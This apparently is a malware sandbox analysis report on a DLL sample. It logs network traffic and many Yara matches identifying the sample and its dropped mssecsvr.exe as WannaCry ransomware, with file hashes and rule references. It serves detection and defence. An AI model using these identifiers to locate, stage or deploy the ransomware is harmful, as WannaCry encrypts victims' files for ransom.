Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130806Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130807Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130808Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130809Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130809Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130810Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130810Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130811Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=34237ec479dd444aaa66f5ce4f9e757c&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=e1b72f61ecf5467db221cff271cebea5&time=20220720T130812Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.6:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.6:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.70:443 -> 192.168.2.6:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.6:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.6:50263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.6:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:50297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:50459 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:50509 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50632 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50631 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50634 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.6:50661 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:50774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:50956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:51238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:51685 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:52079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52402 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52440 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52492 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52545 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.6:52551 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:52601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52662 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52669 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:52796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:52908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:52964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:53023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.54.89.106:443 -> 192.168.2.6:53056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.6:53083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.6:53145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.6:53180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.6:53204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:54528 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:54670 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:56381 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:58681 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.6:58985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.74:443 -> 192.168.2.6:65211 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.74:443 -> 192.168.2.6:65210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.6:65338 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Yara detected Wannacry ransomware

Source: Yara match	File source: dKkvbrzdUL.dll, type: SAMPLE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.382422344.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.393019567.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.383496328.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.379948555.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.386950574.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.387224281.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.391199792.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.381375838.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.991108405.000000000042E000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.385160668.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.387992638.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.389527368.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 6876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 6916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 6964, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\mssecsvr.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: dKkvbrzdUL.dll, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)

Source: dKkvbrzdUL.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: dKkvbrzdUL.dll, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 7.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
